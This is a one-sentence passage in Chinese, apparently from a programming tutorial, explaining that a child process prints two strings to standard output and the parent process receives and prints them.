上面的例子中,子進程向標准輸出列印兩個字元串,主進程接收到了這些輸出,並列印出來。